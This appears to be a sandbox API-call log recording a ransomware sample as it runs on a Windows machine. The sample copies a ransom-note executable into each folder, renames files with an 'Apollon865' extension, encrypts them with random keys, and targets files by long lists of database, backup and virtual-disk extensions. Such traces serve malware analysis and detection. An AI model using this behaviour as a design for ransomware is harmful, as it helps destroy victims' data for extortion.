	[0054.794] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x38bbd0f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x38bbd0f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0054.794] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.794] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0054.794] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0054.795] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x38bbd0f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x38bbd0f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0054.795] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.795] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0054.795] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0054.795] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0054.795] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GMT", cAlternateFileName="")) returned 1
	[0054.795] lstrcmpiW (lpString1="GMT", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.795] lstrcmpiW (lpString1="GMT", lpString2="Apollon865.txt.exe") returned 1
	[0054.795] lstrcmpiW (lpString1="GMT", lpString2=".") returned 1
	[0054.795] lstrcmpiW (lpString1="GMT", lpString2="..") returned 1
	[0054.795] lstrcmpiW (lpString1="GMT", lpString2="windows") returned -1
	[0054.795] lstrcmpiW (lpString1="GMT", lpString2="bootmgr") returned 1
	[0054.795] lstrcmpiW (lpString1="GMT", lpString2="temp") returned -1
	[0054.795] lstrcmpiW (lpString1="GMT", lpString2="pagefile.sys") returned -1
	[0054.795] lstrcmpiW (lpString1="GMT", lpString2="boot") returned 1
	[0054.795] lstrcmpiW (lpString1="GMT", lpString2="ids.txt") returned -1
	[0054.795] lstrcmpiW (lpString1="GMT", lpString2="ntuser.dat") returned -1
	[0054.795] lstrcmpiW (lpString1="GMT", lpString2="perflogs") returned -1
	[0054.795] lstrcmpiW (lpString1="GMT", lpString2="MSBuild") returned -1
	[0054.795] lstrlenW (lpString="GMT") returned 3
	[0054.795] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\*") returned 45
	[0054.795] lstrcmpiW (lpString1="MT", lpString2="db") returned 1
	[0054.795] lstrlenW (lpString="db2") returned 3
	[0054.795] lstrlenW (lpString="db3") returned 3
	[0054.795] lstrlenW (lpString="dbf") returned 3
	[0054.795] lstrlenW (lpString="mdf") returned 3
	[0054.795] lstrlenW (lpString="mdb") returned 3
	[0054.795] lstrlenW (lpString="sql") returned 3
	[0054.795] lstrlenW (lpString="sqlite") returned 6
	[0054.796] lstrlenW (lpString="sqlite3") returned 7
	[0054.796] lstrlenW (lpString="sqlitedb") returned 8
	[0054.796] lstrlenW (lpString="xml") returned 3
	[0054.796] lstrlenW (lpString="$er") returned 3
	[0054.796] lstrlenW (lpString="4dd") returned 3
	[0054.796] lstrlenW (lpString="4dl") returned 3
	[0054.796] lstrlenW (lpString="^^^") returned 3
	[0054.796] lstrlenW (lpString="abs") returned 3
	[0054.796] lstrlenW (lpString="abx") returned 3
	[0054.796] lstrlenW (lpString="accdb") returned 5
	[0054.796] lstrlenW (lpString="accdc") returned 5
	[0054.796] lstrlenW (lpString="accde") returned 5
	[0054.796] lstrlenW (lpString="accdr") returned 5
	[0054.796] lstrlenW (lpString="accdt") returned 5
	[0054.796] lstrlenW (lpString="accdw") returned 5
	[0054.796] lstrlenW (lpString="accft") returned 5
	[0054.796] lstrlenW (lpString="adb") returned 3
	[0054.796] lstrlenW (lpString="adb") returned 3
	[0054.796] lstrlenW (lpString="ade") returned 3
	[0054.796] lstrlenW (lpString="adf") returned 3
	[0054.796] lstrlenW (lpString="adn") returned 3
	[0054.796] lstrlenW (lpString="adp") returned 3
	[0054.796] lstrlenW (lpString="alf") returned 3
	[0054.796] lstrlenW (lpString="ask") returned 3
	[0054.796] lstrlenW (lpString="btr") returned 3
	[0054.796] lstrlenW (lpString="cat") returned 3
	[0054.796] lstrlenW (lpString="cdb") returned 3
	[0054.796] lstrlenW (lpString="ckp") returned 3
	[0054.796] lstrlenW (lpString="cma") returned 3
	[0054.796] lstrlenW (lpString="cpd") returned 3
	[0054.796] lstrlenW (lpString="dacpac") returned 6
	[0054.796] lstrlenW (lpString="dad") returned 3
	[0054.796] lstrlenW (lpString="dadiagrams") returned 10
	[0054.796] lstrlenW (lpString="daschema") returned 8
	[0054.796] lstrlenW (lpString="db-journal") returned 10
	[0054.796] lstrlenW (lpString="db-shm") returned 6
	[0054.796] lstrlenW (lpString="db-wal") returned 6
	[0054.796] lstrlenW (lpString="dbc") returned 3
	[0054.796] lstrlenW (lpString="dbs") returned 3
	[0054.797] lstrlenW (lpString="dbt") returned 3
	[0054.797] lstrlenW (lpString="dbv") returned 3
	[0054.797] lstrlenW (lpString="dbx") returned 3
	[0054.797] lstrlenW (lpString="dcb") returned 3
	[0054.797] lstrlenW (lpString="dct") returned 3
	[0054.797] lstrlenW (lpString="dcx") returned 3
	[0054.797] lstrlenW (lpString="ddl") returned 3
	[0054.797] lstrlenW (lpString="dlis") returned 4
	[0054.797] lstrlenW (lpString="dp1") returned 3
	[0054.797] lstrlenW (lpString="dqy") returned 3
	[0054.797] lstrlenW (lpString="dsk") returned 3
	[0054.797] lstrlenW (lpString="dsn") returned 3
	[0054.797] lstrlenW (lpString="dtsx") returned 4
	[0054.797] lstrlenW (lpString="dxl") returned 3
	[0054.797] lstrlenW (lpString="eco") returned 3
	[0054.797] lstrlenW (lpString="ecx") returned 3
	[0054.797] lstrlenW (lpString="edb") returned 3
	[0054.797] lstrlenW (lpString="epim") returned 4
	[0054.797] lstrlenW (lpString="fcd") returned 3
	[0054.797] lstrlenW (lpString="fdb") returned 3
	[0054.797] lstrlenW (lpString="fic") returned 3
	[0054.797] lstrlenW (lpString="flexolibrary") returned 12
	[0054.797] lstrlenW (lpString="fm5") returned 3
	[0054.797] lstrlenW (lpString="fmp") returned 3
	[0054.797] lstrlenW (lpString="fmp12") returned 5
	[0054.797] lstrlenW (lpString="fmpsl") returned 5
	[0054.797] lstrlenW (lpString="fol") returned 3
	[0054.797] lstrlenW (lpString="fp3") returned 3
	[0054.797] lstrlenW (lpString="fp4") returned 3
	[0054.797] lstrlenW (lpString="fp5") returned 3
	[0054.797] lstrlenW (lpString="fp7") returned 3
	[0054.797] lstrlenW (lpString="fpt") returned 3
	[0054.797] lstrlenW (lpString="frm") returned 3
	[0054.797] lstrlenW (lpString="gdb") returned 3
	[0054.797] lstrlenW (lpString="gdb") returned 3
	[0054.797] lstrlenW (lpString="grdb") returned 4
	[0054.797] lstrlenW (lpString="gwi") returned 3
	[0054.797] lstrlenW (lpString="hdb") returned 3
	[0054.797] lstrlenW (lpString="his") returned 3
	[0054.798] lstrlenW (lpString="ib") returned 2
	[0054.798] lstrcmpiW (lpString1="MT", lpString2="ib") returned 1
	[0054.798] lstrlenW (lpString="idb") returned 3
	[0054.798] lstrlenW (lpString="ihx") returned 3
	[0054.798] lstrlenW (lpString="itdb") returned 4
	[0054.798] lstrlenW (lpString="itw") returned 3
	[0054.798] lstrlenW (lpString="jet") returned 3
	[0054.798] lstrlenW (lpString="jtx") returned 3
	[0054.798] lstrlenW (lpString="kdb") returned 3
	[0054.798] lstrlenW (lpString="kexi") returned 4
	[0054.798] lstrlenW (lpString="kexic") returned 5
	[0054.798] lstrlenW (lpString="kexis") returned 5
	[0054.798] lstrlenW (lpString="lgc") returned 3
	[0054.798] lstrlenW (lpString="lwx") returned 3
	[0054.798] lstrlenW (lpString="maf") returned 3
	[0054.798] lstrlenW (lpString="maq") returned 3
	[0054.798] lstrlenW (lpString="mar") returned 3
	[0054.798] lstrlenW (lpString="marshal") returned 7
	[0054.798] lstrlenW (lpString="mas") returned 3
	[0054.798] lstrlenW (lpString="mav") returned 3
	[0054.798] lstrlenW (lpString="maw") returned 3
	[0054.798] lstrlenW (lpString="mdbhtml") returned 7
	[0054.798] lstrlenW (lpString="mdn") returned 3
	[0054.798] lstrlenW (lpString="mdt") returned 3
	[0054.798] lstrlenW (lpString="mfd") returned 3
	[0054.798] lstrlenW (lpString="mpd") returned 3
	[0054.798] lstrlenW (lpString="mrg") returned 3
	[0054.798] lstrlenW (lpString="mud") returned 3
	[0054.798] lstrlenW (lpString="mwb") returned 3
	[0054.798] lstrlenW (lpString="myd") returned 3
	[0054.798] lstrlenW (lpString="ndf") returned 3
	[0054.798] lstrlenW (lpString="nnt") returned 3
	[0054.798] lstrlenW (lpString="nrmlib") returned 6
	[0054.798] lstrlenW (lpString="ns2") returned 3
	[0054.798] lstrlenW (lpString="ns3") returned 3
	[0054.798] lstrlenW (lpString="ns4") returned 3
	[0054.798] lstrlenW (lpString="nsf") returned 3
	[0054.798] lstrlenW (lpString="nv") returned 2
	[0054.798] lstrcmpiW (lpString1="MT", lpString2="nv") returned -1
	[0054.798] lstrlenW (lpString="nv2") returned 3
	[0054.799] lstrlenW (lpString="nwdb") returned 4
	[0054.799] lstrlenW (lpString="nyf") returned 3
	[0054.799] lstrlenW (lpString="odb") returned 3
	[0054.799] lstrlenW (lpString="odb") returned 3
	[0054.799] lstrlenW (lpString="oqy") returned 3
	[0054.799] lstrlenW (lpString="ora") returned 3
	[0054.799] lstrlenW (lpString="orx") returned 3
	[0054.799] lstrlenW (lpString="owc") returned 3
	[0054.799] lstrlenW (lpString="p96") returned 3
	[0054.799] lstrlenW (lpString="p97") returned 3
	[0054.799] lstrlenW (lpString="pan") returned 3
	[0054.799] lstrlenW (lpString="pdb") returned 3
	[0054.799] lstrlenW (lpString="pdm") returned 3
	[0054.799] lstrlenW (lpString="pnz") returned 3
	[0054.799] lstrlenW (lpString="qry") returned 3
	[0054.799] lstrlenW (lpString="qvd") returned 3
	[0054.799] lstrlenW (lpString="rbf") returned 3
	[0054.799] lstrlenW (lpString="rctd") returned 4
	[0054.799] lstrlenW (lpString="rod") returned 3
	[0054.799] lstrlenW (lpString="rodx") returned 4
	[0054.799] lstrlenW (lpString="rpd") returned 3
	[0054.799] lstrlenW (lpString="rsd") returned 3
	[0054.799] lstrlenW (lpString="sas7bdat") returned 8
	[0054.799] lstrlenW (lpString="sbf") returned 3
	[0054.799] lstrlenW (lpString="scx") returned 3
	[0054.799] lstrlenW (lpString="sdb") returned 3
	[0054.799] lstrlenW (lpString="sdc") returned 3
	[0054.799] lstrlenW (lpString="sdf") returned 3
	[0054.799] lstrlenW (lpString="sis") returned 3
	[0054.799] lstrlenW (lpString="spq") returned 3
	[0054.799] lstrlenW (lpString="te") returned 2
	[0054.799] lstrcmpiW (lpString1="MT", lpString2="te") returned -1
	[0054.799] lstrlenW (lpString="teacher") returned 7
	[0054.799] lstrlenW (lpString="tmd") returned 3
	[0054.799] lstrlenW (lpString="tps") returned 3
	[0054.799] lstrlenW (lpString="trc") returned 3
	[0054.799] lstrlenW (lpString="trc") returned 3
	[0054.799] lstrlenW (lpString="trm") returned 3
	[0054.799] lstrlenW (lpString="udb") returned 3
	[0054.799] lstrlenW (lpString="udl") returned 3
	[0054.800] lstrlenW (lpString="usr") returned 3
	[0054.800] lstrlenW (lpString="v12") returned 3
	[0054.800] lstrlenW (lpString="vis") returned 3
	[0054.800] lstrlenW (lpString="vpd") returned 3
	[0054.800] lstrlenW (lpString="vvv") returned 3
	[0054.800] lstrlenW (lpString="wdb") returned 3
	[0054.800] lstrlenW (lpString="wmdb") returned 4
	[0054.800] lstrlenW (lpString="wrk") returned 3
	[0054.800] lstrlenW (lpString="xdb") returned 3
	[0054.800] lstrlenW (lpString="xld") returned 3
	[0054.800] lstrlenW (lpString="xmlff") returned 5
	[0054.800] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GMT+1", cAlternateFileName="GMT_1~1")) returned 1
	[0054.800] lstrcmpiW (lpString1="GMT+1", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.800] lstrcmpiW (lpString1="GMT+1", lpString2="Apollon865.txt.exe") returned 1
	[0054.800] lstrcmpiW (lpString1="GMT+1", lpString2=".") returned 1
	[0054.800] lstrcmpiW (lpString1="GMT+1", lpString2="..") returned 1
	[0054.800] lstrcmpiW (lpString1="GMT+1", lpString2="windows") returned -1
	[0054.800] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia"
	[0054.801] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5994c0 | out: hHeap=0x580000) returned 1
	[0054.801] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b08 | out: hHeap=0x580000) returned 1
	[0054.801] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia") returned 49
	[0054.801] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia" | out: lpString1="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia"
	[0054.801] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0054.801] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\australia\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0054.840] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0054.840] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x38c2f510, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x38c2f510, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0054.840] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.840] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0054.840] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic"
	[0054.840] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0054.840] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c88 | out: hHeap=0x580000) returned 1
	[0054.840] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic") returned 48
	[0054.840] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic" | out: lpString1="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic"
	[0054.841] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0054.841] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\atlantic\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0054.846] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0054.846] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x38c2f510, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x38c2f510, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0054.846] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.846] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0054.847] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia"
	[0054.847] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5660 | out: hHeap=0x580000) returned 1
	[0054.847] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0054.847] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned 44
	[0054.847] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: lpString1="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia"
	[0054.847] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0054.847] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0054.853] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0054.853] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x38c2f510, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x38c2f510, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0054.868] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.868] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0054.868] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Baghdad.Apollon865") returned 63
	[0054.869] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Baghdad" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\baghdad"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Baghdad.Apollon865" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\baghdad.apollon865"), dwFlags=0x1) returned 1
	[0054.884] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Baghdad.Apollon865" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\baghdad.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x154
	[0054.884] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=489) returned 1
	[0054.884] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0054.885] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0054.885] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0054.885] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0054.886] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0054.886] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0054.886] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4f0, lpName=0x0) returned 0x15c
	[0054.889] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4f0) returned 0x120000
	[0054.890] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0054.891] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0054.891] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0054.892] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0054.892] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0054.892] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0054.892] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0054.892] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0054.892] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0054.892] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0054.892] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0054.892] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0054.892] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0054.892] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0054.892] CloseHandle (hObject=0x15c) returned 1
	[0054.892] CloseHandle (hObject=0x154) returned 1
	[0054.892] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0054.892] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0054.892] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0054.893] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Bahrain", cAlternateFileName="")) returned 1
	[0054.893] lstrcmpiW (lpString1="Bahrain", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.893] lstrcmpiW (lpString1="Bahrain", lpString2="Apollon865.txt.exe") returned 1
	[0054.893] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Bahrain" | out: lpString1="Bahrain") returned="Bahrain"
	[0054.893] lstrlenW (lpString="Bahrain") returned 7
	[0054.893] lstrlenW (lpString="Apollon865") returned 10
	[0054.893] lstrlenW (lpString=".dll") returned 4
	[0054.893] lstrcmpiW (lpString1="Bahrain", lpString2=".dll") returned 1
	[0054.893] lstrlenW (lpString=".lnk") returned 4
	[0054.893] lstrcmpiW (lpString1="Bahrain", lpString2=".lnk") returned 1
	[0054.893] lstrlenW (lpString=".ini") returned 4
	[0054.893] lstrcmpiW (lpString1="Bahrain", lpString2=".ini") returned 1
	[0054.893] lstrlenW (lpString=".sys") returned 4
	[0054.893] lstrcmpiW (lpString1="Bahrain", lpString2=".sys") returned 1
	[0054.893] lstrlenW (lpString="Bahrain") returned 7
	[0054.893] lstrlenW (lpString="bak") returned 3
	[0054.893] lstrcmpiW (lpString1="ain", lpString2="bak") returned -1
	[0054.893] lstrlenW (lpString="ba_") returned 3
	[0054.893] lstrcmpiW (lpString1="ain", lpString2="ba_") returned -1
	[0054.893] lstrlenW (lpString="dbb") returned 3
	[0054.893] lstrcmpiW (lpString1="ain", lpString2="dbb") returned -1
	[0054.893] lstrlenW (lpString="vmdk") returned 4
	[0054.893] lstrcmpiW (lpString1="rain", lpString2="vmdk") returned -1
	[0054.893] lstrlenW (lpString="rar") returned 3
	[0054.894] lstrcmpiW (lpString1="ain", lpString2="rar") returned -1
	[0054.894] lstrlenW (lpString="zip") returned 3
	[0054.894] lstrcmpiW (lpString1="ain", lpString2="zip") returned -1
	[0054.894] lstrlenW (lpString="tgz") returned 3
	[0054.894] lstrcmpiW (lpString1="ain", lpString2="tgz") returned -1
	[0054.894] lstrlenW (lpString="vbox") returned 4
	[0054.894] lstrcmpiW (lpString1="rain", lpString2="vbox") returned -1
	[0054.894] lstrlenW (lpString="vdi") returned 3
	[0054.894] lstrcmpiW (lpString1="ain", lpString2="vdi") returned -1
	[0054.894] lstrlenW (lpString="vhd") returned 3
	[0054.894] lstrcmpiW (lpString1="ain", lpString2="vhd") returned -1
	[0054.894] lstrlenW (lpString="vhdx") returned 4
